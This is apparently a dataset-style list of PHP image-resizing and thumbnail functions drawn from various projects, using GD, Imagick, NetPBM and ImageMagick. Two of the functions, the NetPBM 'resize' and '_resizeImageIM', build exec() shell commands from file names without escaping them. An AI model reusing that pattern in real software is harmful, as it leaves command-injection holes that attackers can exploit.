"static function ImageResize($FileTmp,$LimitSize,$picPath)\r\n\t{\r\n\t\t$ImgProp = funcs::getImgProperty($FileTmp);\r\n\t\t$ImgWidth = $ImgProp['width'] ;\r\n\t\t$ImgHeight = $ImgProp['height'] ;\r\n\t\t$ImgType = $ImgProp['type'] ;\r\n\t\t$NewSize = funcs::ImageCalSize($ImgWidth,$ImgHeight,$LimitSize[0],$LimitSize[1]);\r\n\t\t$image_p = imagecreatetruecolor($NewSize[0], $NewSize[1]);\r\n\t\tswitch($ImgType){\r\n\t\t\tcase 'gif': $image = imagecreatefromgif($FileTmp);\r\n\t\t\tbreak;\r\n\t\t\tcase 'jpeg': $image = imagecreatefromjpeg($FileTmp);\r\n\t\t\tbreak;\r\n\t\t\tcase 'png': $image = imagecreatefrompng($FileTmp);\r\n\t\t\tbreak;\r\n\t\t\tcase 'bmp': $image = imagecreatefromwbmp ($FileTmp);\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\timagecopyresampled($image_p, $image, 0, 0, 0, 0, $NewSize[0], $NewSize[1], $ImgWidth, $ImgHeight);\r\n\t\t switch($ImgType){\r\n\t\t\tcase 'gif': $image = imagegif($image_p,$picPath);\r\n\t\t\tbreak;\r\n\t\t\tcase 'jpeg': $image = imagejpeg($image_p,$picPath);\r\n\t\t\tbreak;\r\n\t\t\tcase 'png': $image = imagepng($image_p,$picPath);\r\n\t\t\tbreak;\r\n\t\t\tcase 'bmp': $image = imagewbmp($image_p,$picPath);\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}",
"public function storeResized($fileName, $size = NULL, $quality = 75)\t\n\t{ \n\t\tif(!$size)\n\t\t{\t\n\t\t\tcopy($this->source, $fileName);\n\t\t\treturn;\n\t\t}\n\t\telseif(is_array($size))\n\t\t{\n\t\t\tlist($width, $height, $currentWidth, $currentHeigth) = $this->getSizes($size);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tlist($width, $height, $currentWidth, $currentHeigth) = $this->sizesFromMax($size);\n\t\t}\n\t\t\n\t\t$tmp = $this->resizePx($width, $height, $currentWidth, $currentHeigth);\n\t\t\n\t\t$this->toFile($tmp, $fileName, $quality);\n\t}",
"function scaleby_maxwidth($filename, $width = 500, $fillpath = true, $rnd_dir) \n\t\t{\n\t\t\treturn $this->scale($filename, $width, NULL, $fillpath, \"maxwidth\", $rnd_dir);\t\t\n\t\t}",
"function funcs_resizeImageFile($file,$newWidth,$newHeight,$oldWidth,$oldHeight,$destination = null,$quality = 75){\n\t//create a new pallete for both source and destination\n\t$dest = imagecreatetruecolor($newWidth, $newHeight);\n\tif (preg_match('/\\.gif$/',$file)){\n\t\t$source = imagecreatefromgif($file);\n\t}else{\n\t\t//assume jpeg since we only allow jpeg and gif\n\t\t$source = imagecreatefromjpeg($file);\n\t}\n\t//copy the source pallete onto destination pallete\n\timagecopyresampled($dest,$source,0,0,0,0, $newWidth, $newHeight, $oldWidth,$oldHeight);\n\t//save file\n\tif (preg_match('/\\.gif$/',$file)){\n\t\timagegif($dest,((is_null($destination))?$file:$destination));\n\t}else{\n\t\timagejpeg($dest,((is_null($destination))?$file:$destination),$quality);\n\t}\n}",
"function spc_resizeImage( $file, $thumbpath, $max_side , $fixfor = NULL ) {\n\n\tif ( file_exists( $file ) ) {\n\t\t$type = getimagesize( $file );\n\n\t\tif (!function_exists( 'imagegif' ) && $type[2] == 1 ) {\n\t\t\t$error = __( 'Filetype not supported. Thumbnail not created.' );\n\t\t}\n\t\telseif (!function_exists( 'imagejpeg' ) && $type[2] == 2 ) {\n\t\t\t$error = __( 'Filetype not supported. Thumbnail not created.' );\n\t\t}\n\t\telseif (!function_exists( 'imagepng' ) && $type[2] == 3 ) {\n\t\t\t$error = __( 'Filetype not supported. Thumbnail not created.' );\n\t\t} else {\n\n\t\t\t// create the initial copy from the original file\n\t\t\tif ( $type[2] == 1 ) {\n\t\t\t\t$image = imagecreatefromgif( $file );\n\t\t\t}\n\t\t\telseif ( $type[2] == 2 ) {\n\t\t\t\t$image = imagecreatefromjpeg( $file );\n\t\t\t}\n\t\t\telseif ( $type[2] == 3 ) {\n\t\t\t\t$image = imagecreatefrompng( $file );\n\t\t\t}\n\n\t\t\tif ( function_exists( 'imageantialias' ))\n\t\t\t\timageantialias( $image, TRUE );\n\n\t\t\t$image_attr = getimagesize( $file );\n\n\t\t\t// figure out the longest side\n if($fixfor){\n \t if($fixfor == 'width'){\n \t \t$image_width = $image_attr[0];\n\t\t\t\t$image_height = $image_attr[1];\n\t\t\t\t$image_new_width = $max_side;\n\n\t\t\t\t$image_ratio = $image_width / $image_new_width;\n\t\t\t\t$image_new_height = $image_height / $image_ratio;\n \t }elseif($fixfor == 'height'){\n \t $image_width = $image_attr[0];\n\t\t\t\t$image_height = $image_attr[1];\n\t\t\t\t$image_new_height = $max_side;\n\n\t\t\t\t$image_ratio = $image_height / $image_new_height;\n\t\t\t\t$image_new_width = $image_width / $image_ratio;\t\n \t }\n }else{\n\t\t\tif ( $image_attr[0] > $image_attr[1] ) {\n\t\t\t\t$image_width = $image_attr[0];\n\t\t\t\t$image_height = $image_attr[1];\n\t\t\t\t$image_new_width = $max_side;\n\n\t\t\t\t$image_ratio = $image_width / $image_new_width;\n\t\t\t\t$image_new_height = $image_height / $image_ratio;\n\t\t\t\t//width is > height\n\t\t\t} else {\n\t\t\t\t$image_width = $image_attr[0];\n\t\t\t\t$image_height = $image_attr[1];\n\t\t\t\t$image_new_height = $max_side;\n\n\t\t\t\t$image_ratio = $image_height / $image_new_height;\n\t\t\t\t$image_new_width = $image_width / $image_ratio;\n\t\t\t\t//height > width\n\t\t\t}\n }\t\n\n\t\t\t$thumbnail = imagecreatetruecolor( $image_new_width, $image_new_height);\n\t\t\t@ imagecopyresampled( $thumbnail, $image, 0, 0, 0, 0, $image_new_width, $image_new_height, $image_attr[0], $image_attr[1] );\n\n\t\t\t// move the thumbnail to its final destination\n\t\t\tif ( $type[2] == 1 ) {\n\t\t\t\tif (!imagegif( $thumbnail, $thumbpath ) ) {\n\t\t\t\t\t$error = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ( $type[2] == 2 ) {\n\t\t\t\tif (!imagejpeg( $thumbnail, $thumbpath ) ) {\n\t\t\t\t\t$error = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ( $type[2] == 3 ) {\n\t\t\t\tif (!imagepng( $thumbnail, $thumbpath ) ) {\n\t\t\t\t\t$error = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\t$error = 0;\n\t}\n\n\tif (!empty ( $error ) ) {\n\t\treturn $error;\n\t} else {\n\t\treturn $thumbpath;\n\t}\n}",
"function imageResize($file, $dest, $height, $width, $thumb = FALSE) {\n\tglobal $ighMaxHeight, $ighMaxWidth, $ighThumbHeight, $ighThumbWidth;\n\n\tif (strstr(@mime_content_type($file), \"png\"))\n\t\t$oldImage = imagecreatefrompng($file);\n\telseif (strstr(@mime_content_type($file), \"jpeg\"))\n\t\t$oldImage = imagecreatefromjpeg($file);\n\telseif (strstr(@mime_content_type($file), \"gif\"))\n\t\t$oldImage = imagecreatefromgif($file);\n\telse\n\t\tdie (\"oh shit\");\n\n\t$base_img = $oldImage;\n $img_width = imagesx($base_img);\n $img_height = imagesy($base_img);\n\n $thumb_height = $height;\n $thumb_width = $width;\n\n // Work out which way it needs to be resized\n $img_width_per = $thumb_width / $img_width;\n $img_height_per = $thumb_height / $img_height;\n \n if ($img_width_per <= $img_height_per) {\n $thumb_height = intval($img_height * $img_width_per); \n }\n else {\n $thumb_width = intval($img_width * $img_height_per);\n }\n\n\tif ($thumb) {\n\t\t$thumb_width = $width;\t\t// 120\n\t\t$thumb_height = $height*3/4;\t// 120 * 3 / 4 = 90\n\t}\n\n // Create the new thumbnail image\n $thumb_img = ImageCreateTrueColor($thumb_width, $thumb_height); \n\n\tif ($thumb) {\t// Do the Square from the Centre thing.\n\t\tImageCopyResampled($thumb_img, $base_img, 0, 0, \n\t\t\t\t($img_width/2)-($thumb_width/2), ($img_height/2)-($thumb_height/2), \n\t\t\t\t$thumb_width, $thumb_height, $thumb_width, $thumb_height);\t\t\t\n\t} else {\t// standard image to image resize.\n\t\tImageCopyResampled($thumb_img, $base_img, 0, 0, 0, 0, \n\t\t\t\t$thumb_width, $thumb_height, $img_width, $img_height);\n\t}\n\n\t// using jpegs!\n\timagejpeg($thumb_img, $dest);\n\timagedestroy($base_img);\n\timagedestroy($thumb_img);\n}",
"function limitToSize($size) {\r\n $this->sizeLimit = $size;\r\n }",
"public function resizeToMaxDiskSize()\n\t{\n\t\t$this->intern_resizeToDiscSize();\n\t}",
"public function makeThumbnail() {\n Image::make($this->filePath())->fit(200)->save($this->thumbnailPath());\n }",
"function resizeImage($src_file, $dest_file, $new_size=100, $resize_aspect=\"sq\", $quality=\"80\")\n\t{\n\t\t$imginfo = getimagesize($src_file);\n\t\t\n\t\tif ($imginfo == null) {\n\t\treturn false;\n\t\t}\t \n\t\t\n\t\t// GD2 can only handle JPG, PNG & GIF images\n\t\tif (!$imginfo[2] > 0 && $imginfo[2] <= 3 ) {\n\t\t return false;\n\t\t}\n\t\t\n\t\t// height/width\n\t\t$srcWidth = $imginfo[0];\n\t\t$srcHeight = $imginfo[1];\n\t\t//$resize_aspect = \"sq\";\n\t\tif ($resize_aspect == 'ht') {\n\t\t $ratio = $srcHeight / $new_size;\n\t\t} elseif ($resize_aspect == 'wd') {\n\t\t $ratio = $srcWidth / $new_size;\n\t\t} elseif ($resize_aspect == 'sq') {\n\t\t $ratio = min($srcWidth, $srcHeight) / $new_size;\n\t\t} else {\n\t\t $ratio = max($srcWidth, $srcHeight) / $new_size;\n\t\t}\n\t\t\n\t\t/**\n\t\t* Initialize variables\n\t\t*/\n\t\t$clipX = 0;\n\t\t$clipY = 0;\n\t\t\n\t\t$ratio = max($ratio, 1.0);\n\t\tif ($resize_aspect == 'sq'){\n\t\t$destWidth = (int)(min($srcWidth,$srcHeight) / $ratio);\n\t\t$destHeight = (int)(min($srcWidth,$srcHeight) / $ratio);\n\t\tif($srcHeight > $srcWidth){\n\t\t$clipX = 0;\n\t\t$clipY = ((int)($srcHeight - $srcWidth)/2);\n\t\t$srcHeight = $srcWidth;\n\t\t}elseif($srcWidth > $srcHeight){\n\t\t$clipX = ((int)($srcWidth - $srcHeight)/2);\n\t\t$clipY = 0;\n\t\t$srcWidth = $srcHeight;\n\t\t}\n\t\t}else{\n\t\t$destWidth = (int)($srcWidth / $ratio);\n\t\t$destHeight = (int)($srcHeight / $ratio);\n\t\t}\n\t\t\n\t\tif (!function_exists('imagecreatefromjpeg')) {\n\t\t echo 'PHP running on your server does not support the GD image library, check with your webhost if ImageMagick is installed';\n\t\t exit;\n\t\t}\n\t\tif (!function_exists('imagecreatetruecolor')) {\n\t\t echo 'PHP running on your server does not support GD version 2.x, please switch to GD version 1.x on the admin page';\n\t\t exit;\n\t\t}\n\t\t\n\t\tif ($imginfo[2] == 1 )\n\t\t $src_img = imagecreatefromgif($src_file);\n\t\telseif ($imginfo[2] == 2)\n\t\t $src_img = imagecreatefromjpeg($src_file);\n\t\telse\n\t\t $src_img = imagecreatefrompng($src_file);\n\t\tif (!$src_img){\n\t\t return false;\n\t\t}\n\t\tif ($imginfo[2] == 1 ) {\n\t\t$dst_img = imagecreate($destWidth, $destHeight);\n\t\t} else {\n\t\t$dst_img = imagecreatetruecolor($destWidth, $destHeight);\n\t\t}\n\t\t\n\t\timagecopyresampled($dst_img, $src_img, 0, 0, $clipX, $clipY, (int)$destWidth, (int)$destHeight, $srcWidth, $srcHeight);\n\t\timagejpeg($dst_img, $dest_file, $quality);\n\t\timagedestroy($src_img);\n\t\timagedestroy($dst_img);\n\t\t\n\t\t// We check that the image is valid\n\t\t$imginfo = getimagesize($dest_file);\n\t\tif ($imginfo == null) {\n\t\t\t@unlink($dest_file);\n\t\t\treturn false;\n\t\t} else {\n\t\t\treturn true;\n\t\t}\n\t}",
"public function resizeInSquareFromFile($src_name,$dest_name,$newwidth,$newheight,$background,$ext)\n {\n //Check extension of file\n if(empty($ext))\n {\n $ext = $this->options[parent::IMAGE_ITEM_DEFAULT_TYPE];\n }\n\n //Create image source from file name\n $source_image = $this->createSourceImage($src_name,$ext);\n \n //Check source\n if(!$source_image)\n {\n return false;\n }\n\n //Check background\n if(empty($background))\n {\n $background = $this->options[self::IMAGE_ITEM_BACKGROUND];\n }\n\n //Check new height\n if(empty($newheight))\n {\n $newheight = $newwidth;\n }\n\n //Get old size\n $old_x = imagesx($source_image);\n $old_y = imagesy($source_image);\n\n //Check have correct site\n if($old_x <= $newwidth && $old_y <= $newheight)\n {\n //Destroy image source\n imagedestroy($source_image);\n\n //Return image file\n return copy($src_name,$dest_name);\n }\n\n //Resize keep width\n if($old_x < $newwidth)\n {\n //Check size\n $newwidth = $old_x;\n if($newwidth > $newheight)\n {\n $newwidth = $newheight;\n }\n\n //Crop image \n $dest_image = imagecreatetruecolor($newwidth, $newheight);\n imagecopyresampled($dest_image, $source_image, 0, 0, 0, 0, $newwidth , $newheight, $newwidth, $newheight);\n }\n else\n {\n $newheight = ceil((($newwidth*$old_y)/$old_x));\n $dest_image = imagecreatetruecolor($newwidth, $newwidth);\n list($r,$g,$b) = explode(\",\",$background);\n $color= imagecolorallocate($dest_image, $r, $g, $b);\n $move_space =0;\n if($old_x > $old_y )\n {\n $move_space = ceil(($newwidth - $newheight)/2);\n }\n\n //Check size\n if($old_y < $newwidth)\n {\n $newwidth = $old_y;\n $newheight = $newwidth;\n } \n\n //Crop image\n imagefill($dest_image,0,0,$color);\n imagecopyresampled($dest_image, $source_image, 0, -$move_space, 0, 0, $newwidth , $newheight, $old_x, $old_y);\n }\n\n //Put binary string\n imagejpeg($dest_image,$dest_name,$this->options[parent::IMAGE_ITEM_QUALITY]);\n\n //Destroy images\n imagedestroy($dest_image);\n imagedestroy($source_image);\n\n //Return boolean\n return true;\n }",
"public function resize( $size, $to = null, $prefix = '', $file_index = null ) {\r\n\t\t\t$this->thumb( $size, '', $prefix, true, $to, false, $file_index );\r\n\t\t}",
"function imgResize($filename, $newWidth, $newHeight, $dir_out){\n\t\n\t// изменение размера изображения\n\n\t// 1 создадим новое изображение из файла\n\t$scr = imagecreatefromjpeg($filename); // или $imagePath\n\t\n\t// 2 создадим новое полноцветное изображение нужного размера\n\t$newImg = imagecreatetruecolor($newWidth, $newHeight);\n\n\t// 3 определим размер исходного изображения для 4 пункта\n\t$size = getimagesize($filename);\n\n\t// 4 копирует прямоугольную часть одного изображения на другое изображение, интерполируя значения пикселов таким образом, чтобы уменьшение размера изображения не уменьшало его чёткости\n\timagecopyresampled($newImg, $scr, 0, 0, 0, 0, $newWidth, $newHeight, $size[0], $size[1]);\n\n\t// 5 запишем изображение в файл по нужному пути\n\timagejpeg($newImg, $dir_out);\n\n\timagedestroy($scr);\n\timagedestroy($newImg);\t\t\n\t\n}",
"function resizeSaveImage($filename, $destinationFile, $newWidth){\n\t\t \n\t\t list($width, $height) = getimagesize($filename);\n\t\t if($width > $newWidth){\n\t\t\t\t$percent = $newWidth / $width;\n\t\t\t\t$newHeight = $height * $percent;\n\t\t\t\t\n\t\t\t\t// Load\n\t\t\t\t$resizedImage = imagecreatetruecolor($newWidth, $newHeight);\n\t\t\t\t$source = imagecreatefromjpeg($filename);\n\t\t\t\t\n\t\t\t\t// Resize\n\t\t\t\timagecopyresized($resizedImage, $source, 0, 0, 0, 0, $newWidth, $newHeight, $width, $height);\n\t\t\t\t\n\t\t\t\t// Output\n\t\t\t\timagejpeg($resizedImage, $destinationFile, 100 );\n\t\t\t\t\n\t\t\t\t//memory clean up.\n\t\t\t\timagedestroy($source);\n\t\t\t\timagedestroy($resizedImage);\n\t\t }\n\t }",
"function resize($src_file, $dest_file, $new_size, $img_meta) {\n // height/width\n $ratio = max($img_meta['width'], $img_meta['height']) / $new_size;\n $ratio = max($ratio, 1.0);\n $destWidth = (int)($img_meta['width'] / $ratio);\n $destHeight = (int)($img_meta['height'] / $ratio);\n \n $path = zmgNetpbmTool::getPath();\n if ($img_meta['extension'] == \"png\") {\n $cmd = $path . \"pngtopnm \" . $src_file . \" | \" . $path . \"pnmscale -xysize \"\n . $destWidth . \" \" . $destHeight . \" | \" . $path . \"pnmtopng > \" . $dest_file;\n } else if ($img_meta['extension'] == \"jpg\" || $img_meta['extension'] == \"jpeg\") {\n $cmd = $path . \"jpegtopnm \" . $src_file . \" | \" . $path . \"pnmscale -xysize \"\n . $destWidth . \" \" . $destHeight . \" | \" . $path . \"ppmtojpeg -quality=\"\n . $img_meta['jpeg_qty'] . \" > \" . $dest_file;\n } else if ($img_meta['extension'] == \"gif\") {\n $cmd = $path . \"giftopnm \" . $src_file . \" | \" . $path . \"pnmscale -xysize \"\n . $destWidth . \" \" . $destHeight . \" | \" . $path . \"ppmquant 256 | \"\n . $path . \"ppmtogif > \" . $dest_file;\n } else {\n return zmgToolboxPlugin::registerError($src_file, 'NetPBM: Source file is not an image or image type is not supported.');\n }\n\n $output = $retval = null;\n exec($cmd, $output, $retval);\n if ($retval) {\n return zmgToolboxPlugin::registerError($src_file, 'NetPBM: Could not convert image: ' . $output);\n }\n\n return true;\n }",
"function copy_image_resize_to_folder($source_file, $destination_folder, $filename, $max_width, $max_height)\n{\n $image_info = getimagesize($source_file);\n $source_pic_width = $image_info[0];\n $source_pic_height = $image_info[1];\n\n $x_ratio = $max_width / $source_pic_width;\n $y_ratio = $max_height / $source_pic_height;\n\n if (($source_pic_width <= $max_width) && ($source_pic_height <= $max_height)) {\n $tn_width = $source_pic_width;\n $tn_height = $source_pic_height;\n } elseif (($x_ratio * $source_pic_height) < $max_height) {\n $tn_height = ceil($x_ratio * $source_pic_height);\n $tn_width = $max_width;\n } else {\n $tn_width = ceil($y_ratio * $source_pic_width);\n $tn_height = $max_height;\n }\n \n if (!is_dir($destination_folder)) {\n mkdir($destination_folder, 0755);\n }\n\n switch ($image_info['mime']) {\n case 'image/gif':\n if (imagetypes() & IMG_GIF) {\n $src = imageCreateFromGIF($source_file);\n $destination_folder.=\"$filename.gif\";\n $namafile = \"$filename.gif\";\n }\n break;\n\n case 'image/jpeg':\n if (imagetypes() & IMG_JPG) {\n $src = imageCreateFromJPEG($source_file);\n $destination_folder.=\"$filename.jpg\";\n $namafile = \"$filename.jpg\";\n }\n break;\n\n case 'image/pjpeg':\n if (imagetypes() & IMG_JPG) {\n $src = imageCreateFromJPEG($source_file);\n $destination_folder.=\"$filename.jpg\";\n $namafile = \"$filename.jpg\";\n }\n break;\n\n case 'image/png':\n if (imagetypes() & IMG_PNG) {\n $src = imageCreateFromPNG($source_file);\n $destination_folder.=\"$filename.png\";\n $namafile = \"$filename.png\";\n }\n break;\n\n case 'image/wbmp':\n if (imagetypes() & IMG_WBMP) {\n $src = imageCreateFromWBMP($source_file);\n $destination_folder.=\"$filename.bmp\";\n $namafile = \"$filename.bmp\";\n }\n break;\n }\n \n $tmp = imagecreatetruecolor($tn_width, $tn_height);\n imagecopyresampled($tmp, $src, 0, 0, 0, 0, $tn_width, $tn_height, $source_pic_width, $source_pic_height);\n\n //**** 100 is the quality settings, values range from 0-100.\n switch ($image_info['mime']) {\n case 'image/jpeg':\n imagejpeg($tmp, $destination_folder, 100);\n break;\n\n case 'image/gif':\n imagegif($tmp, $destination_folder, 100);\n break;\n\n case 'image/png':\n imagepng($tmp, $destination_folder);\n break;\n\n default:\n imagejpeg($tmp, $destination_folder, 100);\n break;\n }\n\n return ($namafile);\n}",
"private function resize() {\n\t\tswitch($this->type) {\n\t\t\tcase 'image/jpeg':\n\t\t\t\t$originalImage = imagecreatefromjpeg($this->tempName);\n\t\t\tbreak;\n\t\t\tcase 'image/png':\n\t\t\t\t$originalImage = imagecreatefrompng($this->tempName);\n\t\t\tbreak;\n\t\t\tcase 'image/gif':\n\t\t\t\t$originalImage = imagecreatefromgif($this->tempName);\n\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tdie('FILE CANNOT BE RESIZED');\n\t\t\tbreak;\n\t\t}\n\n\t\t// Determine new height\n\t\t$this->newHeight = ($this->height / $this->width) * $this->newWidth;\n\n\t\t// Create new image\n\t\t$this->newImage = imagecreatetruecolor($this->newWidth, $this->newHeight);\n\n\t\t// Resample original image into new image\n\t\timagecopyresampled($this->newImage, $originalImage, 0, 0, 0, 0, $this->newWidth, $this->newHeight, $this->width, $this->height);\n\n\t\t// Switch based on image being resized\n\t\tswitch($this->type) {\n\t\t\tcase 'image/jpeg':\n\t\t\t\t// Source, Dest, Quality 0 to 100\n\t\t\t\timagejpeg($this->newImage, $this->destinationFolder.'/'.$this->newName, 80);\n\t\t\tbreak;\n\t\t\tcase 'image/png':\n\t\t\t\t// Source, Dest, Quality 0 (no compression) to 9\n\t\t\t\timagepng($this->newImage, $this->destinationFolder.'/'.$this->newName, 0);\n\t\t\tbreak;\n\t\t\tcase 'image/gif':\n\t\t\t\timagegif($this->newImage, $this->destinationFolder.'/'.$this->newName);\n\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tdie('YOUR FILE CANNOT BE RESIZED');\n\t\t\tbreak;\n\t\t}\n\n\t\t// DESTROY NEW IMAGE TO SAVE SERVER SPACE\n\t\timagedestroy($this->newImage);\n\t\timagedestroy($originalImage);\n\n\t\t// SUCCESSFULLY UPLOADED\n\t\t$this->result = true;\n\t\t$this->message = 'Image uploaded and resized successfully';\n\t}",
"protected static function ImageMagickResize($in_file, $out_file, $format)\n {\n $command_convert =\n \"convert \".\n escapeshellarg($in_file).\n \" -thumbnail $format -gravity center -extent $format -strip \".\n escapeshellarg($out_file);\n\n shell_exec($command_convert);\n }",
"function _resizeImageIM($src_file, $dest_file, $new_size) {\r\n \t$retval = $output = null;\r\n $cmd = $this->_IM_path.\"convert -resize $new_size \\\"$src_file\\\" \\\"$dest_file\\\"\";\r\n exec($cmd, $output, $retval);\r\n if($retval) {\r\n return false;\r\n } else {\r\n return true;\r\n }\r\n }",
"function saveFile(UploadedFile $file, $width)\n{\n $filename = md5(mt_rand().$file->getBasename()).'.'.$file->guessClientExtension();\n\n $file->move(__DIR__.'/../../img', $filename);\n\n $imagine = new Imagine\\Gd\\Imagine();\n $image = $imagine->open(__DIR__.'/../../img/'.$filename);\n\n $box = $image->getSize();\n $box = $box->widen((int) $width);\n\n $image = $image->thumbnail($box, Imagine\\Image\\ImageInterface::THUMBNAIL_OUTBOUND);\n $image->save(__DIR__.'/../../img/mini_'.$filename);\n\n return $filename;\n}",
"protected function resize_crop_image($max_width, $max_height, $source_file, $dst_dir, $quality = 80)\n {\n $imgsize = getimagesize($source_file);\n $width = $imgsize[0];\n $height = $imgsize[1];\n $mime = $imgsize['mime'];\n \n switch($mime){\n case 'image/gif':\n $image_create = \"imagecreatefromgif\";\n $image = \"imagegif\";\n break;\n \n case 'image/png':\n $image_create = \"imagecreatefrompng\";\n $image = \"imagepng\";\n $quality = 7;\n break;\n \n case 'image/jpeg':\n $image_create = \"imagecreatefromjpeg\";\n $image = \"imagejpeg\";\n $quality = 80;\n break;\n \n default:\n return false;\n break;\n }\n \n $dst_img = imagecreatetruecolor($max_width, $max_height);\n $src_img = $image_create($source_file);\n \n $width_new = $height * $max_width / $max_height;\n $height_new = $width * $max_height / $max_width;\n //if the new width is greater than the actual width of the image, then the height is too large and the rest cut off, or vice versa\n if($width_new > $width){\n //cut point by height\n $h_point = (($height - $height_new) / 2);\n //copy image\n imagecopyresampled($dst_img, $src_img, 0, 0, 0, $h_point, $max_width, $max_height, $width, $height_new);\n }else{\n //cut point by width\n $w_point = (($width - $width_new) / 2);\n imagecopyresampled($dst_img, $src_img, 0, 0, $w_point, 0, $max_width, $max_height, $width_new, $height);\n }\n \n $image($dst_img, $dst_dir, $quality);\n \n if($dst_img)imagedestroy($dst_img);\n if($src_img)imagedestroy($src_img);\n }",
"function image_scale($src_abspath, $dest_abspath, $aspect, $width, $strategy)\n{\n $im = new \\Imagick($src_abspath);\n $im = image_scale_im_obj($im, $aspect, $width, $strategy);\n return image_return_write($im, $dest_abspath);\n}",
"public static function scale($fname,$max_image_size=600,$flag='image',$quality=100,$max_image_side=600,$max_thumb_size=300,$max_thumb_height=120,$thumb_scale=1) // scale image/thumbnail\n\t{\n\t\tif(ini_get('memory_limit')<100)\n\t\t\tini_set('memory_limit','100M'); // fix for serevrs with low memory limit\n\n\t\tif($flag=='rescaleimage')\n\t\t{\n\t\t\t$full_fname=substr($fname,0,strrpos($fname,\".\")).\"_full\".substr($fname,strrpos($fname,\".\"));\n\t\t\tif(file_exists($full_fname))\n\t\t\t\tlist($orig_width,$orig_height,$img_type,$img_attr)=@getimagesize($full_fname);\n\t\t\telse\n\t\t\t\tlist($orig_width,$orig_height,$img_type,$img_attr)=@getimagesize($fname);\n\t\t}\n\t\telse\n\t\t\tlist($orig_width,$orig_height,$img_type,$img_attr)=@getimagesize($fname);\n\n\t\t$thumb=$flag=='thumb'||$flag=='rescalethumb';\n\t\t$max_size_param=$thumb?$max_thumb_size:$max_image_size;\n\t\tif($orig_width>$max_size_param||$orig_height>$max_size_param)\n\t\t{\n\t\t\tif($flag=='image')\n\t\t\t{\n\t\t\t\t$new_fname=$fname;\n\t\t\t\t$fname=substr($fname,0,strrpos($fname,\".\")).\"_full\".substr($fname,strrpos($fname,\".\"));\n\t\t\t\trename($new_fname,$fname);\n\t\t\t}\n\t\t\telseif($flag=='rescaleimage')\n\t\t\t{\n\t\t\t\t$final_name=$fname;\n\t\t\t\t$new_fname=substr($fname,0,strrpos($fname,\".\")).\"_tempimg\".substr($fname,strrpos($fname,\".\"));\n\t\t\t\tif(file_exists($full_fname))\n\t\t\t\t{\n\t\t\t\t\tcopy($full_fname,$fname);\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif($flag=='rescalethumb')\n\t\t\t{\n\t\t\t\t$final_name=substr($fname,0,strrpos($fname,\".\")).\"_thumb\".substr($fname,strrpos($fname,\".\"));\n\t\t\t\t$new_fname=substr($fname,0,strrpos($fname,\".\")).\"_thumb_tempimg\".substr($fname,strrpos($fname,\".\"));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$new_fname=substr($fname,0,strrpos($fname,\".\")).\"_thumb\".substr($fname,strrpos($fname,\".\"));\n\t\t\t}\n\n\t\t\t$ratio=$orig_width/$orig_height;\n\n\t\t\tif($thumb_scale==2)\n\t\t\t\t$scaling='crop';\n\t\t\telse\n\t\t\t\t$scaling='default';\n//scaling_mode\n\t\t\tif(!$thumb||$scaling=='default') //old scaling\n\t\t\t{\n\t\t\t\tif($orig_width>=$orig_height)\n\t\t\t\t{\n\t\t\t\t\t$new_width=$max_size_param;\n\t\t\t\t\t$new_height=intval($max_size_param/$ratio);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$new_width=intval($max_size_param*$ratio);\n\t\t\t\t\t$new_height=$max_size_param;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif($orig_width>=$orig_height)\n\t\t\t\t{\n\t\t\t\t\t$new_height=$max_thumb_height;\n\t\t\t\t\t$new_width=intval($new_height*$ratio);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$new_width=$max_size_param;\n\t\t\t\t\t$new_height=intval($new_width/$ratio);\n\t\t\t\t}\n\t\t\t}\n// Resample\n\t\t\t$image_p=@imagecreatetruecolor($new_width,$new_height);\n\t\t\t$image=self::gdCreate($img_type,$fname);\n//transparency\n\t\t\tif($img_type==1||$img_type==3)\n\t\t\t{\n\t\t\t\t$trnprt_indx=imagecolortransparent($image);\n\t\t\t\tif($trnprt_indx>=0)\n\t\t\t\t{\n\t\t\t\t\t$trnprt_color=imagecolorsforindex($image,$trnprt_indx);\n\t\t\t\t\t$trnprt_indx=imagecolorallocate($image_p,$trnprt_color['red'],$trnprt_color['green'],$trnprt_color['blue']);\n\t\t\t\t\timagefill($image_p,0,0,$trnprt_indx);\n\t\t\t\t\timagecolortransparent($image_p,$trnprt_indx);\n\t\t\t\t}\n\t\t\t\telseif($img_type==3)\n\t\t\t\t{\n\t\t\t\t\timagealphablending($image_p,false);\n\t\t\t\t\t$color=imagecolorallocatealpha($image_p,0,0,0,127);\n\t\t\t\t\timagefill($image_p,0,0,$color);\n\t\t\t\t\timagesavealpha($image_p,true);\n\t\t\t\t}\n\t\t\t}\n//end transparency\n\t\t\tif($image!='')\n\t\t\t{\n\t\t\t\timagecopyresampled($image_p,$image,0,0,0,0,$new_width,$new_height,$orig_width,$orig_height);\n\n\t\t\t\tself::gdSave($image_p,$new_fname,$quality,$img_type); // Save image\n\t\t\t\timagedestroy($image_p);\n\t\t\t\timagedestroy($image);\n\t\t\t\tif($flag=='rescalethumb'||$flag=='rescaleimage')\n\t\t\t\t{\n\t\t\t\t\tunlink($final_name);\n\t\t\t\t\trename($new_fname,$final_name);\n\t\t\t\t}\n\t\t\t\treturn $new_fname;\n\t\t\t}\n\t\t\telse\n\t\t\t\treturn false;\n\t\t}\n\t\telseif($flag=='image')\n\t\t{\n\t\t\t$full_fname=substr($fname,0,strrpos($fname,\".\")).\"_full\".substr($fname,strrpos($fname,\".\"));\n\t\t\tcopy($fname,$full_fname);\n\t\t\treturn $fname;\n\t\t}\n\t\telse\n\t\t\treturn $fname;\n\t}",
